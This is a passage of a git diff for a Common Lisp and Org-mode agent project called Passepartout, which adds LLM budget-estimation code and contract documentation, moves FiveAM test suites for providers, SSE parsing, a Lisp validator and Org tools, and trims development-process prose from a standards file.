budget-estimate-call (prompt-text) + "Estimate the dollar cost of a pending LLM call from its prompt text. +Returns 0.0 if the tokenizer is not loaded (allows call through)." + (if (fboundp 'count-tokens) + (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text ""))) + (cost (provider-token-cost (first *provider-cascade*) tokens))) + cost) + 0.0)) -(test test-cost-track-call - "Contract 1: cost-track-call returns a positive number." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "hello world"))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-cost-session-total-accumulates - "Contract 2: session total grows with multiple calls." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :deepseek "world") - (let ((total (cost-session-total))) - (is (> total 0.0)) - (is (= 2 (cost-session-calls))))) - -(test test-cost-session-reset - "Contract 3: cost-session-reset zeroes the accumulator." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (is (> (cost-session-total) 0.0)) - (cost-session-reset) - (is (= 0.0 (cost-session-total))) - (is (= 0 (cost-session-calls)))) - -(test test-cost-format-budget-status - "Contract 4: format-budget-status returns a string." - (cost-session-reset) - (cost-track-call :deepseek "hello world") - (let ((status (cost-format-budget-status 100))) - (is (stringp status)) - (is (search "$" status)))) - -(test test-cost-by-provider - "Contract: cost-by-provider returns per-provider breakdown." - (cost-session-reset) - (cost-track-call :deepseek "a") - (cost-track-call :groq "b") - (let ((by (cost-by-provider))) - (is (listp by)) - (is (assoc :deepseek by)) - (is (assoc :groq by)))) - -(test test-cost-track-no-response - "Contract 1: cost-track-call works without response-text." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "test"))) - (is (> cost 0.0)))) - -(test test-cost-session-summary - "Contract 5: cost-session-summary returns plist with total, calls, by-provider." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :groq "world") - (let ((s (cost-session-summary))) - (is (> (getf s :total) 0.0)) - (is (= 2 (getf s :calls))) - (let ((by (getf s :by-provider))) - (is (assoc :deepseek by)) - (is (assoc :groq by))))) +(defun budget-exhaustion-message () + "Returns a user-facing plist explaining that the budget is spent." + (let ((total (cost-session-total)) + (cap *session-budget*)) + (list :TYPE :REQUEST + :PAYLOAD (list :ACTION :MESSAGE + :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue." + total cap) + :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) #+end_src + diff --git a/org/embedding-native.org b/org/embedding-native.org index 0abb264..61daf00 100644 --- a/org/embedding-native.org +++ b/org/embedding-native.org @@ -278,6 +278,21 @@ Used in tests and embedding comparisons. (/ dot (sqrt (* anorm bnorm)))))) #+end_src +* Contract + +1. (embedding-backend-native text): computes a 768-dim single-float + embedding vector via llama.cpp. Returns a simple-vector. Requires + the model file at ~*native-model-path*~ and the C wrapper library at + ~/usr/local/lib/libllama_wrap.so~. +2. (embedding-native-load-model): loads the GGUF model file and creates + an inference context. Caches globally in ~*native-model*~ / + ~*native-context*~ — subsequent calls are no-ops. Calls + ~sb-int:set-floating-point-modes~ and ~llama_backend_init~. +3. (embedding-native-unload): releases native model and context memory. + Sets cached globals to nil. +4. (embedding-native-get-dim): returns the embedding dimension of the + loaded model (768 for nomic-embed-text-v1.5), or 0 if not loaded. + * Test Suite #+begin_src lisp diff --git a/org/neuro-provider.org b/org/neuro-provider.org index 3ed2be9..6ac90e5 100644 --- a/org/neuro-provider.org +++ b/org/neuro-provider.org @@ -44,6 +44,65 @@ Providers register themselves at boot. No API key? That provider doesn't registe for ~data: ~ lines, ~:done~ for ~data: [DONE]~, and ~nil~ for comment lines (starting with ~:~), empty lines, or non-data lines. +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-llm-gateway-tests + (:use :cl :passepartout) + (:export #:llm-gateway-suite)) + +(in-package :passepartout-llm-gateway-tests) + +(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") +(fiveam:in-suite llm-gateway-suite) + +(fiveam:test test-provider-rejects-bad-keyword + "Contract 3: provider-config returns nil for unregistered provider." + (let ((config (provider-config :not-a-real-provider))) + (fiveam:is (null config)))) + +(fiveam:test test-provider-config-registered + "Contract 1: provider-config returns configuration plist for registered provider." + (let ((config (provider-config :openrouter))) + (fiveam:is (listp config)) + (fiveam:is (getf config :base-url)))) + +(fiveam:test test-provider-accepts-tools-parameter + "Contract 4: provider-openai-request accepts :tools parameter without error." + (let ((result (provider-openai-request "test" "system" :tools (list)))) + (fiveam:is (member (getf result :status) '(:success :error))))) + +;; ── v0.7.1 Streaming ── + +(fiveam:test test-parse-sse-line-data + "Contract 6: parse-sse-line extracts content from data: lines." + (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) + (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) + +(fiveam:test test-parse-sse-line-done + "Contract 6: parse-sse-line returns :done for [DONE]." + (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) + +(fiveam:test test-parse-sse-line-nil + "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." + (fiveam:is (null (passepartout::parse-sse-line ""))) + (fiveam:is (null (passepartout::parse-sse-line ":ok"))) + (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) + +(fiveam:test test-provider-openai-stream-calls-callback + "Contract 5: provider-openai-stream calls callback with deltas and final empty string." + (let ((collected '())) + (flet ((collector (text) (push text collected))) + (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) + (let* ((reversed (nreverse collected)) + (last (car (last reversed)))) + (fiveam:is (stringp last)) + (fiveam:is (string= "" last)) + (fiveam:is (>= (length reversed) 2))))) +#+end_src + * Implementation ** Provider registry @@ -350,61 +409,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream." (list :status :error :message (format nil "~a Stream Failure: ~a" provider c))))))) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-llm-gateway-tests - (:use :cl :passepartout) - (:export #:llm-gateway-suite)) - -(in-package :passepartout-llm-gateway-tests) - -(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") -(fiveam:in-suite llm-gateway-suite) - -(fiveam:test test-provider-rejects-bad-keyword - "Contract 3: provider-config returns nil for unregistered provider." - (let ((config (provider-config :not-a-real-provider))) - (fiveam:is (null config)))) - -(fiveam:test test-provider-config-registered - "Contract 1: provider-config returns configuration plist for registered provider." - (let ((config (provider-config :openrouter))) - (fiveam:is (listp config)) - (fiveam:is (getf config :base-url)))) - -(fiveam:test test-provider-accepts-tools-parameter - "Contract 4: provider-openai-request accepts :tools parameter without error." - (let ((result (provider-openai-request "test" "system" :tools (list)))) - (fiveam:is (member (getf result :status) '(:success :error))))) - -;; ── v0.7.1 Streaming ── - -(fiveam:test test-parse-sse-line-data - "Contract 6: parse-sse-line extracts content from data: lines." - (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) - (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) - -(fiveam:test test-parse-sse-line-done - "Contract 6: parse-sse-line returns :done for [DONE]." - (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) - -(fiveam:test test-parse-sse-line-nil - "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." - (fiveam:is (null (passepartout::parse-sse-line ""))) - (fiveam:is (null (passepartout::parse-sse-line ":ok"))) - (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) - -(fiveam:test test-provider-openai-stream-calls-callback - "Contract 5: provider-openai-stream calls callback with deltas and final empty string." - (let ((collected '())) - (flet ((collector (text) (push text collected))) - (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) - (let* ((reversed (nreverse collected)) - (last (car (last reversed)))) - (fiveam:is (stringp last)) - (fiveam:is (string= "" last)) - (fiveam:is (>= (length reversed) 2))))) -#+end_src diff --git a/org/programming-lisp.org b/org/programming-lisp.org index 66ca78b..a961106 100644 --- a/org/programming-lisp.org +++ b/org/programming-lisp.org @@ -31,6 +31,98 @@ The skill has four layers: 8. (lisp-inject code target new-form): injects a form into a function body. 9. (lisp-slurp code target form): appends a form to a function body. +* Test Suite +Tests for the Lisp Validator structural, syntactic, and semantic gates. +#+begin_src lisp +(defpackage :passepartout-utils-lisp-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-lisp-suite)) + +(in-package :passepartout-utils-lisp-tests) + +(def-suite utils-lisp-suite + :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") + +(in-suite utils-lisp-suite) + +(test structural-balanced + "Contract 1: balanced code returns T." + (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) + +(test structural-unbalanced-open + "Contract 1: missing close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test structural-unbalanced-close + "Contract 1: extra close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test syntactic-valid + "Contract 2: valid syntax passes syntactic check." + (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) + +(test semantic-safe + "Contract 3: safe code passes semantic check." + (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) + +(test semantic-blocked-eval + "Contract 3: eval forms are blocked by semantic check." + (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") + (is (null ok)) + (is (search "Unsafe" reason)))) + +(test unified-success + "Contract 4: valid code returns :success via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) + (is (eq (getf result :status) :success)))) + +(test unified-failure + "Contract 4: invalid code returns :error via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) + (is (eq (getf result :status) :error)))) + +(test eval-basic + "Contract 5: lisp-eval returns :success with captured result." + (let ((result (passepartout:lisp-eval "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (string= (getf result :result) "3")))) + +(test structural-extract + "Contract 6: lisp-extract finds and returns a named function." + (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") + (extracted (passepartout:lisp-extract code "hello"))) + (is (not (null extracted))) + (let ((form (read-from-string extracted))) + (is (eq (car form) 'DEFUN)) + (is (eq (second form) 'HELLO))))) + +(test list-definitions + "Contract 7: lisp-list-definitions returns all defined names." + (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) + (let ((names (passepartout:lisp-list-definitions code))) + (is (member 'FOO names)) + (is (member 'BAR names)) + (is (member '*BAZ* names))))) + +(test structural-inject + "Contract 8: lisp-inject adds a form to a function body." + (let* ((code "(defun my-fun (x) (print x))") + (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) + (let ((form (read-from-string injected))) + (is (equal (last form) '((FINISH-OUTPUT))))))) + +(test structural-slurp + "Contract 9: lisp-slurp appends a form to a function body." + (let* ((code "(defun work () (step-1))") + (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) + (let ((form (read-from-string slurped))) + (is (equal (last form) '((STEP-2))))))) +#+end_src + * Implementation ** Package Context @@ -248,94 +340,3 @@ Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD dep collect v))) #+end_src -* Test Suite -Tests for the Lisp Validator structural, syntactic, and semantic gates. -#+begin_src lisp -(defpackage :passepartout-utils-lisp-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-lisp-suite)) - -(in-package :passepartout-utils-lisp-tests) - -(def-suite utils-lisp-suite - :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") - -(in-suite utils-lisp-suite) - -(test structural-balanced - "Contract 1: balanced code returns T." - (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) - -(test structural-unbalanced-open - "Contract 1: missing close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test structural-unbalanced-close - "Contract 1: extra close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test syntactic-valid - "Contract 2: valid syntax passes syntactic check." - (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) - -(test semantic-safe - "Contract 3: safe code passes semantic check." - (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) - -(test semantic-blocked-eval - "Contract 3: eval forms are blocked by semantic check." - (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") - (is (null ok)) - (is (search "Unsafe" reason)))) - -(test unified-success - "Contract 4: valid code returns :success via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) - (is (eq (getf result :status) :success)))) - -(test unified-failure - "Contract 4: invalid code returns :error via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) - (is (eq (getf result :status) :error)))) - -(test eval-basic - "Contract 5: lisp-eval returns :success with captured result." - (let ((result (passepartout:lisp-eval "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (string= (getf result :result) "3")))) - -(test structural-extract - "Contract 6: lisp-extract finds and returns a named function." - (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") - (extracted (passepartout:lisp-extract code "hello"))) - (is (not (null extracted))) - (let ((form (read-from-string extracted))) - (is (eq (car form) 'DEFUN)) - (is (eq (second form) 'HELLO))))) - -(test list-definitions - "Contract 7: lisp-list-definitions returns all defined names." - (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) - (let ((names (passepartout:lisp-list-definitions code))) - (is (member 'FOO names)) - (is (member 'BAR names)) - (is (member '*BAZ* names))))) - -(test structural-inject - "Contract 8: lisp-inject adds a form to a function body." - (let* ((code "(defun my-fun (x) (print x))") - (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) - (let ((form (read-from-string injected))) - (is (equal (last form) '((FINISH-OUTPUT))))))) - -(test structural-slurp - "Contract 9: lisp-slurp appends a form to a function body." - (let* ((code "(defun work () (step-1))") - (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) - (let ((form (read-from-string slurped))) - (is (equal (last form) '((STEP-2))))))) -#+end_src diff --git a/org/programming-literate.org b/org/programming-literate.org index 790c637..e22b30d 100644 --- a/org/programming-literate.org +++ b/org/programming-literate.org @@ -15,6 +15,47 @@ This skill enforces the literal programming discipline for all Passepartout sour 3. (literate-tangle-sync-check org-file lisp-file): verifies the tangled .lisp file matches the Org source. Returns T or mismatch info. +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-literate-tests + (:use :cl :fiveam :passepartout) + (:export #:literate-suite)) + +(in-package :passepartout-programming-literate-tests) + +(def-suite literate-suite :description "Verification of the Literate Programming skill") +(in-suite literate-suite) + +(test test-extract-lisp-blocks + "Contract 1: extracts lisp from #+begin_src blocks." + (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) + (extracted (literate-extract-lisp-blocks org-content))) + (let ((joined (format nil "~{~a~^~%~}" extracted))) + (is (search "(+ 1 2)" joined)) + (is (search "(+ 3 4)" joined))))) + +(test test-block-balance-check-valid + "Contract 2: balanced parens return T." + (is (eq t (literate-block-balance-check + (merge-pathnames "org/core-pipeline.org" + (uiop:ensure-directory-pathname + (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) + +(test test-block-balance-check-missing-close + "Contract 2: unbalanced parens return non-T." + (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) + +(test test-tangle-sync-check + "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." + (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) + (is (or (eq t result) (stringp result)) + "Should return T or a mismatch description"))) +#+end_src + * Implementation ** Package Context @@ -103,43 +144,3 @@ contents of the Lisp file. Returns T if they match, or an error message." :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-literate-tests - (:use :cl :fiveam :passepartout) - (:export #:literate-suite)) - -(in-package :passepartout-programming-literate-tests) - -(def-suite literate-suite :description "Verification of the Literate Programming skill") -(in-suite literate-suite) - -(test test-extract-lisp-blocks - "Contract 1: extracts lisp from #+begin_src blocks." - (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) - (extracted (literate-extract-lisp-blocks org-content))) - (let ((joined (format nil "~{~a~^~%~}" extracted))) - (is (search "(+ 1 2)" joined)) - (is (search "(+ 3 4)" joined))))) - -(test test-block-balance-check-valid - "Contract 2: balanced parens return T." - (is (eq t (literate-block-balance-check - (merge-pathnames "org/core-pipeline.org" - (uiop:ensure-directory-pathname - (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) - -(test test-block-balance-check-missing-close - "Contract 2: unbalanced parens return non-T." - (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) - -(test test-tangle-sync-check - "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." - (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) - (is (or (eq t result) (stringp result)) - "Should return T or a mismatch description"))) -#+end_src \ No newline at end of file diff --git a/org/programming-org.org b/org/programming-org.org index 6224f61..467b5dc 100644 --- a/org/programming-org.org +++ b/org/programming-org.org @@ -21,6 +21,105 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr If the headline already has one, returns it. If not, generates a new UUID, sets it, and returns it. Returns nil if the headline is not found. +* Test Suite +Verification of the structural manipulation for Org-mode files and their AST representation. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-utils-org-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-org-suite)) + +(in-package :passepartout-utils-org-tests) + +(def-suite utils-org-suite + :description "Tests for Utils Org skill.") + +(in-suite utils-org-suite) + +(test id-generation + "Contract 1: org-id-generate returns unique UUID strings." + (let ((id1 (org-id-generate)) + (id2 (org-id-generate))) + (is (plusp (length id1))) + (is (not (string= id1 id2))))) + +(test id-format + "Contract 2: org-id-format ensures 'id:' prefix." + (let ((formatted (org-id-format "abc12345"))) + (is (search "id:" formatted)))) + +(test property-setter + "Contract 3: org-property-set modifies a property on a headline." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:test123" :TITLE "Test") + :contents nil))) + (org-property-set ast "id:test123" :STATUS "ACTIVE") + (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) + +(test todo-setter + "Contract 4: org-todo-set changes TODO state via org-property-set." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:todo001" :TITLE "Task") + :contents nil))) + (org-todo-set ast "id:todo001" "DONE") + (is (string= (getf (getf ast :properties) :TODO) "DONE")))) + +(test test-org-headline-add + "Contract 5: org-headline-add inserts a child headline." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (eq t (org-headline-add ast "root" "New Child"))) + (is (= 1 (length (getf ast :contents)))) + (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) + +(test test-org-headline-find-by-id + "Contract 6: org-headline-find-by-id finds a headline by ID." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents + (list (list :type :HEADLINE + :properties (list :ID "child1" :TITLE "Child")) + (list :type :HEADLINE + :properties (list :ID "child2" :TITLE "Child 2")))))) + (let ((found (org-headline-find-by-id ast "child2"))) + (is (not (null found))) + (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) + (let ((missing (org-headline-find-by-id ast "nonexistent"))) + (is (null missing) "Missing ID should return nil")))) + +(test test-org-id-get-create + "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." + ;; Case 1: headline already has an ID + (let* ((ast (list :type :HEADLINE + :properties (list :ID "id:existing" :TITLE "Has ID") + :contents nil))) + (is (string= "id:existing" (org-id-get-create ast "id:existing")))) + ;; Case 2: headline exists by title but has no ID — one should be created + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "No ID") + :contents nil))) + (let ((new-id (org-id-get-create ast "No ID"))) + (is (stringp new-id)) + (is (uiop:string-prefix-p "id:" new-id)) + ;; Verify the ID was set on the headline + (is (string= new-id (getf (getf ast :properties) :ID))))) + ;; Case 3: idempotent — calling again returns same ID + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "Idempotent") + :contents nil))) + (let ((id1 (org-id-get-create ast "Idempotent")) + (id2 (org-id-get-create ast "Idempotent"))) + (is (string= id1 id2)))) + ;; Case 4: headline not found returns nil + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (null (org-id-get-create ast "nonexistent"))))) +#+end_src + * Implementation ** Package Context @@ -369,101 +468,3 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite -Verification of the structural manipulation for Org-mode files and their AST representation. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-utils-org-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-org-suite)) - -(in-package :passepartout-utils-org-tests) - -(def-suite utils-org-suite - :description "Tests for Utils Org skill.") - -(in-suite utils-org-suite) - -(test id-generation - "Contract 1: org-id-generate returns unique UUID strings." - (let ((id1 (org-id-generate)) - (id2 (org-id-generate))) - (is (plusp (length id1))) - (is (not (string= id1 id2))))) - -(test id-format - "Contract 2: org-id-format ensures 'id:' prefix." - (let ((formatted (org-id-format "abc12345"))) - (is (search "id:" formatted)))) - -(test property-setter - "Contract 3: org-property-set modifies a property on a headline." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:test123" :TITLE "Test") - :contents nil))) - (org-property-set ast "id:test123" :STATUS "ACTIVE") - (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) - -(test todo-setter - "Contract 4: org-todo-set changes TODO state via org-property-set." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:todo001" :TITLE "Task") - :contents nil))) - (org-todo-set ast "id:todo001" "DONE") - (is (string= (getf (getf ast :properties) :TODO) "DONE")))) - -(test test-org-headline-add - "Contract 5: org-headline-add inserts a child headline." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (eq t (org-headline-add ast "root" "New Child"))) - (is (= 1 (length (getf ast :contents)))) - (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) - -(test test-org-headline-find-by-id - "Contract 6: org-headline-find-by-id finds a headline by ID." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents - (list (list :type :HEADLINE - :properties (list :ID "child1" :TITLE "Child")) - (list :type :HEADLINE - :properties (list :ID "child2" :TITLE "Child 2")))))) - (let ((found (org-headline-find-by-id ast "child2"))) - (is (not (null found))) - (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) - (let ((missing (org-headline-find-by-id ast "nonexistent"))) - (is (null missing) "Missing ID should return nil")))) - -(test test-org-id-get-create - "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." - ;; Case 1: headline already has an ID - (let* ((ast (list :type :HEADLINE - :properties (list :ID "id:existing" :TITLE "Has ID") - :contents nil))) - (is (string= "id:existing" (org-id-get-create ast "id:existing")))) - ;; Case 2: headline exists by title but has no ID — one should be created - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "No ID") - :contents nil))) - (let ((new-id (org-id-get-create ast "No ID"))) - (is (stringp new-id)) - (is (uiop:string-prefix-p "id:" new-id)) - ;; Verify the ID was set on the headline - (is (string= new-id (getf (getf ast :properties) :ID))))) - ;; Case 3: idempotent — calling again returns same ID - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "Idempotent") - :contents nil))) - (let ((id1 (org-id-get-create ast "Idempotent")) - (id2 (org-id-get-create ast "Idempotent"))) - (is (string= id1 id2)))) - ;; Case 4: headline not found returns nil - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (null (org-id-get-create ast "nonexistent"))))) -#+end_src \ No newline at end of file diff --git a/org/programming-standards.org b/org/programming-standards.org index 9aa750e..083c6e0 100644 --- a/org/programming-standards.org +++ b/org/programming-standards.org @@ -77,95 +77,18 @@ The Diagnostics skill is the self-knowledge of Passepartout. It answers 2. The ~** Contract~ section MUST list every public function. 3. Every test in ~* Test Suite~ MUST reference a specific Contract item. 4. If you change a function's signature, you MUST update its Contract item. -5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~. -6. **NO-HARDCODED-CONSTANTS**: All configurable values (thresholds, intervals, - paths, limits, counters) MUST be read from environment variables with a - documented default in ~.env.example~. No magic numbers, no hardcoded - string literals in function bodies for any value a user might need to - change. The user owns their configuration — they change it in ~.env~, not - in the source code. Exceptions: internal implementation details that are - never user-facing (hash-table sizes, buffer capacity limits, loop - iteration caps) may live in source. But if the value controls *behavior* - (how many approvals before a rule, what similarity threshold gates - context, how long a shell command runs before timeout), it lives - in ~.env~ with a fallback default. -** Engineering Lifecycle (Two-Track) +** Contract -The canonical workflow. Two tracks, not to be confused: +The standards skill itself guarantees: -*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A) - -This track stays in Org. No code is written yet. - -**** Phase 0: Exploration & Documentation -1. Read the relevant Org source files for context -2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~ -3. Document findings in Org prose -4. If a bug: document investigation in Org before fixing (Org as thinking medium) - -**** Phase A: Test-First Design -1. Write the success criteria as Contract items in the ~** Contract~ section -2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override. -3. Tangle and evaluate in the REPL — confirm it fails (red) -4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red. - -*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E) - -Code is prototyped in the REPL, never written directly into Org first. - -**** Phase B/C: REPL Implementation -1. Write the function directly in the REPL using ~repl-eval~ -2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state -3. Run the test in the REPL — confirm green -4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations -5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first - -**** Phase D: Chaos Verification -Run the appropriate chaos tier before reflecting code back to Org: -- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change -- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release -- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints - -**** Phase E: Reflect Back to Org -1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file -2. Update the prose to match what the function actually does (arguments, return, rationale) -3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting -4. Verify the Org file tangles correctly -5. Tangle, commit, update GTD - -**** Syntax Error Protocol -If a LOADER ERROR or reader-error occurs: -1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting -2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare) -3. Retangle and re-evaluate - -Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented. - -** GTD Conventions - -Every task headline in the project's ROADMAP.org and gtd.org follows these rules: - -1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one. -2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed. -3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~. -4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~. -5. **TODO keywords** follow the standard sequence: ~TODO~ → ~NEXT~ → ~IN-PROGRESS~ → ~DONE~ / ~BLOCKED~ / ~CANCELLED~. -6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them. - -Example: - -#+begin_src org -*** DONE Event Orchestrator -:PROPERTIES: -:ID: id-4a2b9c8f-3d7e-4f12-a9b0-1c2d3e4f5a6b -:CREATED: [2026-05-02 Sat] -:END: -:LOGBOOK: -- State "DONE" from "TODO" [2026-05-02 Sat 18:00] -:END: -CLOSED: [2026-05-02 Sat 18:00] -#+end_src +1. (standards-git-clean-p dir): checks whether directory ~dir~ has + uncommitted git changes. Returns T if clean, NIL if dirty. Runs + ~git status --porcelain~ in the target directory. +2. (standards-lisp-verify code): validates Lisp code string for + structural correctness. Delegates to ~lisp-syntax-validate~. +3. (standards-lisp-format code): applies formatting conventions to + Lisp code. Delegates to ~lisp-format~. * Implementation diff --git a/org/programming-tools.org b/org/programming-tools.org index 